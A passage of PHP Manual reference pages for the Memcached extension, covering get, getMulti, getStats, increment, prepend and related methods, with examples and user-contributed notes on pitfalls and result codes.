$m->flush(10);
?>

User Contributed Notes

There are no user contributed notes for this page.


Retrieve an item

  • « Memcached::flush
  • Memcached::getAllKeys »
  • PHP Manual
  • Memcached
  • Retrieve an item

Memcached::get

(PECL memcached >= 0.1.0)

Memcached::get — Retrieve an item

Description

public mixed Memcached::get ( string $key [, callable $cache_cb [, float &$cas_token ]] )

Memcached::get() returns the item that was previously stored under the key. If the item is found and cas_token variable is provided, it will contain the CAS token value for the item. See Memcached::cas() for how to use CAS tokens. Read-through caching callback may be specified via cache_cb parameter.

Parameters

key

The key of the item to retrieve.

cache_cb

Read-through caching callback or NULL.

cas_token

The variable to store the CAS token in.

Return Values

Returns the value stored in the cache or FALSE otherwise. The Memcached::getResultCode() will return Memcached::RES_NOTFOUND if the key does not exist.

Examples

Example #1 Memcached::get() example #1

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set('foo', 100);
var_dump($m->get('foo'));
?>

The above example will output:

int(100)

Example #2 Memcached::get() example #2

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

if (!($ip = $m->get('ip_block'))) {
    if ($m->getResultCode() == Memcached::RES_NOTFOUND) {
        $ip = array();
        $m->set('ip_block', $ip);
    } else {
        /* log error */
        /* ...       */
    }
}
?>

See Also

  • Memcached::getByKey() - Retrieve an item from a specific server
  • Memcached::getMulti() - Retrieve multiple items
  • Memcached::getDelayed() - Request multiple items

User Contributed Notes

denis_truffaut[A-T]hotmail[D-O-T]com 17-Jan-2011 03:01
Note that this function can return NULL as FALSE, so don't make checks with === FALSE as with the old Memcache class, because it won't work. :O

Use the not (!) operator and check the result code with getResultCode() as mentioned in the documentation :)
miha at hribar dot info 17-Jul-2009 10:31
This method also returns false in case you set the value to false, so in order to have a proper fault mechanism in place you need to check the result code to be certain that a key really does not exist in memcached.

<?php
$Memcached = new Memcached();
$Memcached->addServer('localhost', 11211);
$Memcached->set('key', false);
var_dump($Memcached->get('key'));       // boolean false
var_dump($Memcached->getResultCode());  // int 0 which is Memcached::RES_SUCCESS
?>

Or just make sure the values are not false :)


Gets the keys stored on all the servers

  • « Memcached::get
  • Memcached::getByKey »
  • PHP Manual
  • Memcached
  • Gets the keys stored on all the servers

Memcached::getAllKeys

(PECL memcached >= 2.0.0)

Memcached::getAllKeys — Gets the keys stored on all the servers

Description

public array Memcached::getAllKeys ( void )

Memcached::getAllKeys() queries each memcache server and retrieves an array of all keys stored on them at that point in time. This is not an atomic operation, so it isn't a truly consistent snapshot of the keys at point in time. As memcache doesn't guarantee to return all keys you also cannot assume that all keys have been returned.

Parameters

This function has no parameters.

Return Values

Returns the keys stored on all the servers on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Retrieve an item from a specific server

  • « Memcached::getAllKeys
  • Memcached::getDelayed »
  • PHP Manual
  • Memcached
  • Retrieve an item from a specific server

Memcached::getByKey

(PECL memcached >= 0.1.0)

Memcached::getByKey — Retrieve an item from a specific server

Description

public mixed Memcached::getByKey ( string $server_key , string $key [, callable $cache_cb [, float &$cas_token ]] )

Memcached::getByKey() is functionally equivalent to Memcached::get(), except that the free-form server_key can be used to map the key to a specific server.

Parameters

server_key

The key identifying the server to store the value on or retrieve it from. Instead of hashing on the actual key for the item, we hash on the server key when deciding which memcached server to talk to. This allows related items to be grouped together on a single server for efficiency with multi operations.

key

The key of the item to fetch.

cache_cb

Read-through caching callback or NULL

cas_token

The variable to store the CAS token in.

Return Values

Returns the value stored in the cache or FALSE otherwise. The Memcached::getResultCode() will return Memcached::RES_NOTFOUND if the key does not exist.

See Also

  • Memcached::get() - Retrieve an item
  • Memcached::getMulti() - Retrieve multiple items
  • Memcached::getDelayed() - Request multiple items

User Contributed Notes

There are no user contributed notes for this page.


Request multiple items

  • « Memcached::getByKey
  • Memcached::getDelayedByKey »
  • PHP Manual
  • Memcached
  • Request multiple items

Memcached::getDelayed

(PECL memcached >= 0.1.0)

Memcached::getDelayed — Request multiple items

Description

public bool Memcached::getDelayed ( array $keys [, bool $with_cas [, callable $value_cb ]] )

Memcached::getDelayed() issues a request to memcache for multiple items the keys of which are specified in the keys array. The method does not wait for response and returns right away. When you are ready to collect the items, call either Memcached::fetch() or Memcached::fetchAll(). If with_cas is true, the CAS token values will also be requested.

Instead of fetching the results explicitly, you can specify a result callback via value_cb parameter.

Parameters

keys

Array of keys to request.

with_cas

Whether to request CAS token values also.

value_cb

The result callback or NULL.

Return Values

Returns TRUE on success or FALSE on failure. Use Memcached::getResultCode() if necessary.

Examples

Example #1 Memcached::getDelayed() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set('int', 99);
$m->set('string', 'a simple string');
$m->set('array', array(11, 12));

$m->getDelayed(array('int', 'array'), true);
var_dump($m->fetchAll());
?>

The above example will output:

array(2) {
  [0]=>
  array(3) {
    ["key"]=>
    string(3) "int"
    ["value"]=>
    int(99)
    ["cas"]=>
    float(2363)
  }
  [1]=>
  array(3) {
    ["key"]=>
    string(5) "array"
    ["value"]=>
    array(2) {
      [0]=>
      int(11)
      [1]=>
      int(12)
    }
    ["cas"]=>
    float(2365)
  }
}

See Also

  • Memcached::getDelayedByKey() - Request multiple items from a specific server
  • Memcached::fetch() - Fetch the next result
  • Memcached::fetchAll() - Fetch all the remaining results

User Contributed Notes

antmat at mail dot ru 18-Feb-2011 05:16
Actually, when you pass a callback, method doesn't return immediately, but waits for results and calls callback function.


Request multiple items from a specific server

  • « Memcached::getDelayed
  • Memcached::getMulti »
  • PHP Manual
  • Memcached
  • Request multiple items from a specific server

Memcached::getDelayedByKey

(PECL memcached >= 0.1.0)

Memcached::getDelayedByKey — Request multiple items from a specific server

Description

public bool Memcached::getDelayedByKey ( string $server_key , array $keys [, bool $with_cas [, callable $value_cb ]] )

Memcached::getDelayedByKey() is functionally equivalent to Memcached::getDelayed(), except that the free-form server_key can be used to map the keys to a specific server.

Parameters

server_key

The key identifying the server to store the value on or retrieve it from. Instead of hashing on the actual key for the item, we hash on the server key when deciding which memcached server to talk to. This allows related items to be grouped together on a single server for efficiency with multi operations.

keys

Array of keys to request.

with_cas

Whether to request CAS token values also.

value_cb

The result callback or NULL.

Return Values

Returns TRUE on success or FALSE on failure. Use Memcached::getResultCode() if necessary.

See Also

  • Memcached::getDelayed() - Request multiple items
  • Memcached::fetch() - Fetch the next result
  • Memcached::fetchAll() - Fetch all the remaining results

User Contributed Notes

There are no user contributed notes for this page.


Retrieve multiple items

  • « Memcached::getDelayedByKey
  • Memcached::getMultiByKey »
  • PHP Manual
  • Memcached
  • Retrieve multiple items

Memcached::getMulti

(PECL memcached >= 0.1.0)

Memcached::getMulti — Retrieve multiple items

Description

public mixed Memcached::getMulti ( array $keys [, array &$cas_tokens [, int $flags ]] )

Memcached::getMulti() is similar to Memcached::get(), but instead of a single key item, it retrieves multiple items the keys of which are specified in the keys array. If cas_tokens variable is provided, it is filled with the CAS token values for the found items.

Note:

Unlike Memcached::get() it is not possible to specify a read-through cache callback for Memcached::getMulti(), because the memcache protocol does not provide information on which keys were not found in the multi-key request.

The flags parameter can be used to specify additional options for Memcached::getMulti(). Currently, the only available option is Memcached::GET_PRESERVE_ORDER that ensures that the keys are returned in the same order as they were requested in.

Parameters

keys

Array of keys to retrieve.

cas_tokens

The variable to store the CAS tokens for the found items.

flags

The flags for the get operation.

Return Values

Returns the array of found items or FALSE on failure. Use Memcached::getResultCode() if necessary.

Examples

Example #1 Memcached::getMulti() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$items = array(
    'key1' => 'value1',
    'key2' => 'value2',
    'key3' => 'value3'
);
$m->setMulti($items);
$result = $m->getMulti(array('key1', 'key3', 'badkey'), $cas);
var_dump($result, $cas);
?>

The above example will output something similar to:

array(2) {
  ["key1"]=>
  string(6) "value1"
  ["key3"]=>
  string(6) "value3"
}
array(2) {
  ["key1"]=>
  float(2360)
  ["key3"]=>
  float(2362)
}

Example #2 Memcached::GET_PRESERVE_ORDER example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$data = array(
    'foo' => 'foo-data',
    'bar' => 'bar-data',
    'baz' => 'baz-data',
    'lol' => 'lol-data',
    'kek' => 'kek-data',
);

$m->setMulti($data, 3600);

$null = null;
$keys = array_keys($data);
$keys[] = 'zoo';
$got = $m->getMulti($keys, $null, Memcached::GET_PRESERVE_ORDER);

foreach ($got as $k => $v) {
    echo "$k $v\n";
}
?>

The above example will output something similar to:

foo foo-data
bar bar-data
baz baz-data
lol lol-data
kek kek-data
zoo

See Also

  • Memcached::getMultiByKey() - Retrieve multiple items from a specific server
  • Memcached::get() - Retrieve an item
  • Memcached::getDelayed() - Request multiple items

User Contributed Notes

gabriel dot maybrun at demandmedia dot com 05-Sep-2014 08:58
GOTCHA: Recently I was tasked with moving from PECL memcache to PECL memcached and ran into a major problem -- memcache and memcached serialize data differently, meaning that data written with one library can't necessarily be read with the other library.

For example, If you write an object or an array with memcache, it's interpreted as an integer by memcached.  If you write it with memcached, it's interpreted as a string by memcache.

tl;dr - You can't safely switch between memcache and memcached without a either a cache flush or isolated cache environments.

<?php
$memcache = new Memcache;
$memcacheD = new Memcached;
$memcache->addServer($host);
$memcacheD->addServers($servers);

$checks = array(
    123,
    4542.32,
    'a string',
    true,
    array(123, 'string'),
    (object)array('key1' => 'value1'),
);
foreach ($checks as $i => $value) {
    print "Checking WRITE with Memcache\n";
    $key = 'cachetest' . $i;
    $memcache->set($key, $value);
    usleep(100);
    $val = $memcache->get($key);
    $valD = $memcacheD->get($key);
    if ($val !== $valD) {
        print "Not compatible!";
        var_dump(compact('val', 'valD'));
    }

    print "Checking WRITE with MemcacheD\n";
    $key = 'cachetest' . $i;
    $memcacheD->set($key, $value);
    usleep(100);
    $val = $memcache->get($key);
    $valD = $memcacheD->get($key);
    if ($val !== $valD) {
        print "Not compatible!";
        var_dump(compact('val', 'valD'));
    }
}


Retrieve multiple items from a specific server

  • « Memcached::getMulti
  • Memcached::getOption »
  • PHP Manual
  • Memcached
  • Retrieve multiple items from a specific server

Memcached::getMultiByKey

(PECL memcached >= 0.1.0)

Memcached::getMultiByKey — Retrieve multiple items from a specific server

Description

public array Memcached::getMultiByKey ( string $server_key , array $keys [, string &$cas_tokens [, int $flags ]] )

Memcached::getMultiByKey() is functionally equivalent to Memcached::getMulti(), except that the free-form server_key can be used to map the keys to a specific server.

Parameters

server_key

The key identifying the server to store the value on or retrieve it from. Instead of hashing on the actual key for the item, we hash on the server key when deciding which memcached server to talk to. This allows related items to be grouped together on a single server for efficiency with multi operations.

keys

Array of keys to retrieve.

cas_tokens

The variable to store the CAS tokens for the found items.

flags

The flags for the get operation.

Return Values

Returns the array of found items or FALSE on failure. Use Memcached::getResultCode() if necessary.

See Also

  • Memcached::getMulti() - Retrieve multiple items
  • Memcached::get() - Retrieve an item
  • Memcached::getDelayed() - Request multiple items

User Contributed Notes

There are no user contributed notes for this page.


Retrieve a Memcached option value

  • « Memcached::getMultiByKey
  • Memcached::getResultCode »
  • PHP Manual
  • Memcached
  • Retrieve a Memcached option value

Memcached::getOption

(PECL memcached >= 0.1.0)

Memcached::getOption — Retrieve a Memcached option value

Description

public mixed Memcached::getOption ( int $option )

This method returns the value of a Memcached option. Some options correspond to the ones defined by libmemcached, and some are specific to the extension. See Memcached Constants for more information.

Parameters

option

One of the Memcached::OPT_* constants.

Return Values

Returns the value of the requested option, or FALSE on error.

Examples

Example #1 Retrieving Memcached options

<?php
$m = new Memcached();
var_dump($m->getOption(Memcached::OPT_COMPRESSION));
var_dump($m->getOption(Memcached::OPT_POLL_TIMEOUT));
?>

The above example will output something similar to:

bool(true)
int(1000)

See Also

  • Memcached::getOption()
  • Memcached::setOption() - Set a Memcached option
  • Memcached Constants

User Contributed Notes

There are no user contributed notes for this page.


Return the result code of the last operation

  • « Memcached::getOption
  • Memcached::getResultMessage »
  • PHP Manual
  • Memcached
  • Return the result code of the last operation

Memcached::getResultCode

(PECL memcached >= 0.1.0)

Memcached::getResultCode — Return the result code of the last operation

Description

public int Memcached::getResultCode ( void )

Memcached::getResultCode() returns one of the Memcached::RES_* constants that is the result of the last executed Memcached method.

Parameters

This function has no parameters.

Return Values

Result code of the last Memcached operation.

Examples

Example #1 Memcached::getResultCode() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->add('foo', 'bar');
if ($m->getResultCode() == Memcached::RES_NOTSTORED) {
    /* ... */
}
?>

User Contributed Notes

Anonymous 09-Jul-2013 09:56
00 = MEMCACHED_SUCCESS
01 = MEMCACHED_FAILURE
02 = MEMCACHED_HOST_LOOKUP_FAILURE // getaddrinfo() and getnameinfo() only
03 = MEMCACHED_CONNECTION_FAILURE
04 = MEMCACHED_CONNECTION_BIND_FAILURE // DEPRECATED see MEMCACHED_HOST_LOOKUP_FAILURE
05 = MEMCACHED_WRITE_FAILURE
06 = MEMCACHED_READ_FAILURE
07 = MEMCACHED_UNKNOWN_READ_FAILURE
08 = MEMCACHED_PROTOCOL_ERROR
09 = MEMCACHED_CLIENT_ERROR
10 = MEMCACHED_SERVER_ERROR // Server returns "SERVER_ERROR"
11 = MEMCACHED_ERROR // Server returns "ERROR"
12 = MEMCACHED_DATA_EXISTS
13 = MEMCACHED_DATA_DOES_NOT_EXIST
14 = MEMCACHED_NOTSTORED
15 = MEMCACHED_STORED
16 = MEMCACHED_NOTFOUND
17 = MEMCACHED_MEMORY_ALLOCATION_FAILURE
18 = MEMCACHED_PARTIAL_READ
19 = MEMCACHED_SOME_ERRORS
20 = MEMCACHED_NO_SERVERS
21 = MEMCACHED_END
22 = MEMCACHED_DELETED
23 = MEMCACHED_VALUE
24 = MEMCACHED_STAT
25 = MEMCACHED_ITEM
26 = MEMCACHED_ERRNO
27 = MEMCACHED_FAIL_UNIX_SOCKET // DEPRECATED
28 = MEMCACHED_NOT_SUPPORTED
29 = MEMCACHED_NO_KEY_PROVIDED /* Deprecated. Use MEMCACHED_BAD_KEY_PROVIDED! */
30 = MEMCACHED_FETCH_NOTFINISHED
31 = MEMCACHED_TIMEOUT
32 = MEMCACHED_BUFFERED
33 = MEMCACHED_BAD_KEY_PROVIDED
34 = MEMCACHED_INVALID_HOST_PROTOCOL
35 = MEMCACHED_SERVER_MARKED_DEAD
36 = MEMCACHED_UNKNOWN_STAT_KEY
37 = MEMCACHED_E2BIG
38 = MEMCACHED_INVALID_ARGUMENTS
39 = MEMCACHED_KEY_TOO_BIG
40 = MEMCACHED_AUTH_PROBLEM
41 = MEMCACHED_AUTH_FAILURE
42 = MEMCACHED_AUTH_CONTINUE
43 = MEMCACHED_PARSE_ERROR
44 = MEMCACHED_PARSE_USER_ERROR
45 = MEMCACHED_DEPRECATED
46 = MEMCACHED_IN_PROGRESS
47 = MEMCACHED_SERVER_TEMPORARILY_DISABLED
48 = MEMCACHED_SERVER_MEMORY_ALLOCATION_FAILURE
49 = MEMCACHED_MAXIMUM_RETURN /* Always add new error code before */
11 = MEMCACHED_CONNECTION_SOCKET_CREATE_FAILURE = MEMCACHED_ERROR
fredrik at neam dot se 27-Jul-2011 11:43
A more up to date and correct list of the result codes (Note that ERR_NO maps to 26 not 25 as stated above):

Memcached::OPT_COMPRESSION - -1001
Memcached::OPT_SERIALIZER - -1003
Memcached::SERIALIZER_PHP - 1
Memcached::SERIALIZER_IGBINARY - 2
Memcached::SERIALIZER_JSON - 3
Memcached::OPT_PREFIX_KEY - -1002
Memcached::OPT_HASH - 2
Memcached::HASH_DEFAULT - 0
Memcached::HASH_MD5 - 1
Memcached::HASH_CRC - 2
Memcached::HASH_FNV1_64 - 3
Memcached::HASH_FNV1A_64 - 4
Memcached::HASH_FNV1_32 - 5
Memcached::HASH_FNV1A_32 - 6
Memcached::HASH_HSIEH - 7
Memcached::HASH_MURMUR - 8
Memcached::OPT_DISTRIBUTION - 9
Memcached::DISTRIBUTION_MODULA - 0
Memcached::DISTRIBUTION_CONSISTENT - 1
Memcached::OPT_LIBKETAMA_COMPATIBLE - 16
Memcached::OPT_BUFFER_WRITES - 10
Memcached::OPT_BINARY_PROTOCOL - 18
Memcached::OPT_NO_BLOCK - 0
Memcached::OPT_TCP_NODELAY - 1
Memcached::OPT_SOCKET_SEND_SIZE - 4
Memcached::OPT_SOCKET_RECV_SIZE - 5
Memcached::OPT_CONNECT_TIMEOUT - 14
Memcached::OPT_RETRY_TIMEOUT - 15
Memcached::OPT_SEND_TIMEOUT - 19
Memcached::OPT_RECV_TIMEOUT - 15
Memcached::OPT_POLL_TIMEOUT - 8
Memcached::OPT_CACHE_LOOKUPS - 6
Memcached::OPT_SERVER_FAILURE_LIMIT - 21
Memcached::HAVE_IGBINARY - #&UNDEFINED;#
Memcached::HAVE_JSON - #&UNDEFINED;#
Memcached::GET_PRESERVE_ORDER - 1
Memcached::RES_SUCCESS - 0
Memcached::RES_FAILURE - 1
Memcached::RES_HOST_LOOKUP_FAILURE - 2
Memcached::RES_UNKNOWN_READ_FAILURE - 7
Memcached::RES_PROTOCOL_ERROR - 8
Memcached::RES_CLIENT_ERROR - 9
Memcached::RES_SERVER_ERROR - 10
Memcached::RES_WRITE_FAILURE - 5
Memcached::RES_DATA_EXISTS - 12
Memcached::RES_NOTSTORED - 14
Memcached::RES_NOTFOUND - 16
Memcached::RES_PARTIAL_READ - 18
Memcached::RES_SOME_ERRORS - 19
Memcached::RES_NO_SERVERS - 20
Memcached::RES_END - 21
Memcached::RES_ERRNO - 26
Memcached::RES_BUFFERED - 32
Memcached::RES_TIMEOUT - 31
Memcached::RES_BAD_KEY_PROVIDED - 33
Memcached::RES_CONNECTION_SOCKET_CREATE_FAILURE - 11
Memcached::RES_PAYLOAD_FAILURE - -1001


Return the message describing the result of the last operation

  • « Memcached::getResultCode
  • Memcached::getServerByKey »
  • PHP Manual
  • Memcached
  • Return the message describing the result of the last operation

Memcached::getResultMessage

(PECL memcached >= 1.0.0)

Memcached::getResultMessage — Return the message describing the result of the last operation

Description

public string Memcached::getResultMessage ( void )

Memcached::getResultMessage() returns a string that describes the result code of the last executed Memcached method.

Parameters

This function has no parameters.

Return Values

Message describing the result of the last Memcached operation.

Examples

Example #1 Memcached::getResultMessage() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->add('foo', 'bar'); // first time should succeed
$m->add('foo', 'bar');
echo $m->getResultMessage(),"\n";
?>

The above example will output:

NOT STORED

User Contributed Notes

There are no user contributed notes for this page.


Map a key to a server

  • « Memcached::getResultMessage
  • Memcached::getServerList »
  • PHP Manual
  • Memcached
  • Map a key to a server

Memcached::getServerByKey

(PECL memcached >= 0.1.0)

Memcached::getServerByKey — Map a key to a server

Description

public array Memcached::getServerByKey ( string $server_key )

Memcached::getServerByKey() returns the server that would be selected by a particular server_key in all the Memcached::*ByKey() operations.

Parameters

server_key

The key identifying the server to store the value on or retrieve it from. Instead of hashing on the actual key for the item, we hash on the server key when deciding which memcached server to talk to. This allows related items to be grouped together on a single server for efficiency with multi operations.

Return Values

Returns an array containing three keys of host, port, and weight on success or FALSE on failure. Use Memcached::getResultCode() if necessary.

Examples

Example #1 Memcached::getServerByKey() example

<?php
$m = new Memcached();
$m->addServers(array(
    array('mem1.domain.com', 11211, 40),
    array('mem2.domain.com', 11211, 40),
    array('mem3.domain.com', 11211, 20),
));

$m->setOption(Memcached::OPT_LIBKETAMA_COMPATIBLE, true);

var_dump($m->getServerByKey('user'));
var_dump($m->getServerByKey('log'));
var_dump($m->getServerByKey('ip'));
?>

The above example will output something similar to:

array(3) {
  ["host"]=>
  string(15) "mem3.domain.com"
  ["port"]=>
  int(11211)
  ["weight"]=>
  int(20)
}
array(3) {
  ["host"]=>
  string(15) "mem2.domain.com"
  ["port"]=>
  int(11211)
  ["weight"]=>
  int(40)
}
array(3) {
  ["host"]=>
  string(15) "mem2.domain.com"
  ["port"]=>
  int(11211)
  ["weight"]=>
  int(40)
}

User Contributed Notes

zhaoyong dot lc at gmail dot com 29-Mar-2013 03:32
The parameter server_key is very confusing, it's not a server key for MemCached Server, but it's key,in key-value pair which you stored in server.

<?php
$m = new Memcached;
$m->addServers(array(
    array('127.0.0.1',11212),
    array('127.0.0.1',11211)
));
for($i=0;$i<10;$i++){
    $key = 'key_'.$i;
    $m->add($key, 1);
}
for($i=0;$i<10;$i++) {
    $key = 'key_'.$i;
    $arr = $m->getServerByKey($key);
    echo ($key.":\t".$arr['port']."\n");
}
?>

key_0:  11212
key_1:  11211
key_2:  11212
key_3:  11212
key_4:  11212
key_5:  11211
key_6:  11211
key_7:  11212
key_8:  11212
key_9:  11211


Get the list of the servers in the pool

  • « Memcached::getServerByKey
  • Memcached::getStats »
  • PHP Manual
  • Memcached
  • Get the list of the servers in the pool

Memcached::getServerList

(PECL memcached >= 0.1.0)

Memcached::getServerList — Get the list of the servers in the pool

Description

public array Memcached::getServerList ( void )

Memcached::getServerList() returns the list of all servers that are in its server pool.

Parameters

This function has no parameters.

Return Values

The list of all servers in the server pool.

Examples

Example #1 Memcached::getServerList() example

<?php
$m = new Memcached();
$m->addServers(array(
    array('mem1.domain.com', 11211, 20),
    array('mem2.domain.com', 11311, 80),
));
var_dump($m->getServerList());
?>

The above example will output:

array(2) {
  [0]=>
  array(3) {
    ["host"]=>
    string(15) "mem1.domain.com"
    ["port"]=>
    int(11211)
    ["weight"]=>
    int(20)
  }
  [1]=>
  array(3) {
    ["host"]=>
    string(15) "mem2.domain.com"
    ["port"]=>
    int(11311)
    ["weight"]=>
    int(80)
  }
}

User Contributed Notes

rynop 21-Jan-2013 11:58
This method no longer returns 'weight' in v2.1.0: https://github.com/php-memcached-dev/php-memcached/pull/56


Get server pool statistics

  • « Memcached::getServerList
  • Memcached::getVersion »
  • PHP Manual
  • Memcached
  • Get server pool statistics

Memcached::getStats

(PECL memcached >= 0.1.0)

Memcached::getStats — Get server pool statistics

Description

public array Memcached::getStats ( void )

Memcached::getStats() returns an array containing the state of all available memcache servers. See » memcache protocol specification for details on these statistics.

Parameters

This function has no parameters.

Return Values

Array of server statistics, one entry per server.

Examples

Example #1 Memcached::getStats() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

print_r($m->getStats());
?>

The above example will output something similar to:

Array
(
    [localhost:11211] => Array
        (
            [pid] => 4933
            [uptime] => 786123
            [threads] => 1
            [time] => 1233868010
            [pointer_size] => 32
            [rusage_user_seconds] => 0
            [rusage_user_microseconds] => 140000
            [rusage_system_seconds] => 23
            [rusage_system_microseconds] => 210000
            [curr_items] => 145
            [total_items] => 2374
            [limit_maxbytes] => 67108864
            [curr_connections] => 2
            [total_connections] => 151
            [connection_structures] => 3
            [bytes] => 20345
            [cmd_get] => 213343
            [cmd_set] => 2381
            [get_hits] => 204223
            [get_misses] => 9120
            [evictions] => 0
            [bytes_read] => 9092476
            [bytes_written] => 15420512
            [version] => 1.2.6
        )

)

User Contributed Notes

billfeller at gmail dot com 31-Oct-2013 05:27
the link to memcache protocol is out date. the new link is https://github.com/facebook/memcached/blob/master/doc/protocol.txt
ar knownat plista with com 17-Dec-2009 08:13
The method currently does not support the optional (and subject to change) type parameter for the stats command:
 - "items", "sizes", "slabs"

The documentation for the optional parameters can be found here (sections below General-purpose statistics):
http://code.sixapart.com/svn/memcached/trunk/server/doc/protocol.txt

The Memcache Extension can be uses to retrieve that information:
http://www.php.net/manual/en/function.memcache-getstats.php


Get server pool version info

  • « Memcached::getStats
  • Memcached::increment »
  • PHP Manual
  • Memcached
  • Get server pool version info

Memcached::getVersion

(PECL memcached >= 0.1.5)

Memcached::getVersion — Get server pool version info

Description

public array Memcached::getVersion ( void )

Memcached::getVersion() returns an array containing the version info for all available memcache servers.

Parameters

This function has no parameters.

Return Values

Array of server versions, one entry per server.

Examples

Example #1 Memcached::getVersion() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

print_r($m->getVersion());
?>

The above example will output something similar to:

Array
(
    [localhost:11211] => 1.2.6
)

User Contributed Notes

Mads Madsen 02-Mar-2013 06:50
Was going mad, I figured getStatus() would return false on servers not responding. This is however not true, it will return:
array(1) {
  ["127.0.0.1:11112"]=>
  string(11) "255.255.255"
}
On a failed connection.


Increment numeric item's value

  • « Memcached::getVersion
  • Memcached::incrementByKey »
  • PHP Manual
  • Memcached
  • Increment numeric item's value

Memcached::increment

(PECL memcached >= 0.1.0)

Memcached::increment — Increment numeric item's value

Description

public int Memcached::increment ( string $key [, int $offset = 1 [, int $initial_value = 0 [, int $expiry = 0 ]]] )

Memcached::increment() increments a numeric item's value by the specified offset. If the item's value is not numeric, an error will result. Memcached::increment() will set the item to the initial_value parameter if the key doesn't exist.

Parameters

key

The key of the item to increment.

offset

The amount by which to increment the item's value.

initial_value

The value to set the item to if it doesn't currently exist.

expiry

The expiry time to set on the item.

Return Values

Returns new item's value on success or FALSE on failure.

Examples

Example #1 Memcached::increment() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set('counter', 0);
$m->increment('counter');
$n = $m->increment('counter', 10);
var_dump($n);

$m->set('counter', 'abc');
$n = $m->increment('counter');
// ^ will fail due to item value not being numeric
var_dump($n);
?>

The above example will output:

int(11)
bool(false)

See Also

  • Memcached::decrement() - Decrement numeric item's value
  • Memcached::decrementByKey() - Decrement numeric item's value, stored on a specific server
  • Memcached::incrementByKey() - Increment numeric item's value, stored on a specific server

User Contributed Notes

Anonymous 17-Aug-2013 08:46
If it'll save others some head-scratching, the PECL Memcached extension only supports initializing increment (or decrement) values from 2.0.0b2 onwards - i.e. not the version (1.0.2) that comes out of the box with Ubuntu 12.04.
Anonymous 24-Jan-2013 05:27
Spent a long time frustrated with this.  If you read the patch notes carefully:

- Make increment/decrement initialize value when it is not available (when using binary protocol).

If you dont have the opt binary protocol set the arguments for initial value just return an error 38 - INVALID ARGUMENTS. This is not documented.
jbaginski 18-Jan-2013 04:29
PECL memcached < 0.2.0

public int Memcached::increment ( string $key [, int $offset = 1 ] )
Sam 30-Jun-2012 09:50
increment does not alter the time to live of the object.


Increment numeric item's value, stored on a specific server

  • « Memcached::increment
  • Memcached::isPersistent »
  • PHP Manual
  • Memcached
  • Increment numeric item's value, stored on a specific server

Memcached::incrementByKey

(PECL memcached >= 2.0.0)

Memcached::incrementByKey — Increment numeric item's value, stored on a specific server

Description

public int Memcached::incrementByKey ( string $server_key , string $key [, int $offset = 1 [, int $initial_value = 0 [, int $expiry = 0 ]]] )

Memcached::incrementByKey() increments a numeric item's value by the specified offset. If the item's value is not numeric, an error will result. Memcached::incrementByKey() will set the item to the initial_value parameter if the key doesn't exist.

Parameters

server_key

The key identifying the server to store the value on or retrieve it from. Instead of hashing on the actual key for the item, we hash on the server key when deciding which memcached server to talk to. This allows related items to be grouped together on a single server for efficiency with multi operations.

key

The key of the item to increment.

offset

The amount by which to increment the item's value.

initial_value

The value to set the item to if it doesn't currently exist.

expiry

The expiry time to set on the item.

Return Values

Returns new item's value on success or FALSE on failure.

See Also

  • Memcached::decrement() - Decrement numeric item's value
  • Memcached::decrementByKey() - Decrement numeric item's value, stored on a specific server
  • Memcached::increment() - Increment numeric item's value

User Contributed Notes

There are no user contributed notes for this page.


Check if a persitent connection to memcache is being used

  • « Memcached::incrementByKey
  • Memcached::isPristine »
  • PHP Manual
  • Memcached
  • Check if a persitent connection to memcache is being used

Memcached::isPersistent

(PECL memcached >= 2.0.0)

Memcached::isPersistent — Check if a persitent connection to memcache is being used

Description

public bool Memcached::isPersistent ( void )

Memcached::isPersistent() checks if the connections to the memcache servers are persistent connections.

Parameters

This function has no parameters.

Return Values

Returns true if Memcache instance uses a persistent connection, false otherwise.

See Also

  • Memcached::isPristine() - Check if the instance was recently created

User Contributed Notes

There are no user contributed notes for this page.


Check if the instance was recently created

  • « Memcached::isPersistent
  • Memcached::prepend »
  • PHP Manual
  • Memcached
  • Check if the instance was recently created

Memcached::isPristine

(PECL memcached >= 2.0.0)

Memcached::isPristine — Check if the instance was recently created

Description

public bool Memcached::isPristine ( void )

Memcached::isPristine() checks if the Memcache instance was recently created.

Parameters

This function has no parameters.

Return Values

Returns the true if instance is recently created, false otherwise.

See Also

  • Memcached::isPersistent() - Check if a persitent connection to memcache is being used

User Contributed Notes

There are no user contributed notes for this page.


Prepend data to an existing item

  • « Memcached::isPristine
  • Memcached::prependByKey »
  • PHP Manual
  • Memcached
  • Prepend data to an existing item

Memcached::prepend

(PECL memcached >= 0.1.0)

Memcached::prepend — Prepend data to an existing item

Description

public bool Memcached::prepend ( string $key , string $value )

Memcached::prepend() prepends the given value string to the value of an existing item. The reason that value is forced to be a string is that prepending mixed types is not well-defined.

Note:

If the Memcached::OPT_COMPRESSION is enabled, the operation will fail and a warning will be issued, because prepending compressed data to a value that is potentially already compressed is not possible.

Parameters

key

The key of the item to prepend the data to.

value

The string to prepend.

Return Values

Returns TRUE on success or FALSE on failure. The Memcached::getResultCode() will return Memcached::RES_NOTSTORED if the key does not exist.

Examples

Example #1 Memcached::prepend() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);
$m->setOption(Memcached::OPT_COMPRESSION, false);

$m->set('foo', 'abc');
$m->prepend('foo', 'def');
var_dump($m->get('foo'));
?>

The above example will output:

string(6) "defabc"

See Also

  • Memcached::prependByKey() - Prepend data to an existing item on a specific server
  • Memcached::append() - Append data to an existing item

User Contributed Notes

There are no user contributed notes for this page.


Prepend data to an existing item on a specific server

  • « Memcached::prepend
  • Memcached::quit »
  • PHP Manual
  • Memcached
  • Prepend data to an existing item on a specific server

Memcached::prependByKey

(PECL memcached >= 0.1.0)

Memcached::prependByKey — Prepend data to an existing item on a specific server

Description

public bool Memcached::prependByKey ( string $server_key , string $key , string $value )

Memcached::prependByKey() is functionally equivalent to Memcached::prepend(), except that the free-form server_key can be used to map the key to a specific server.

Parameters

server_key

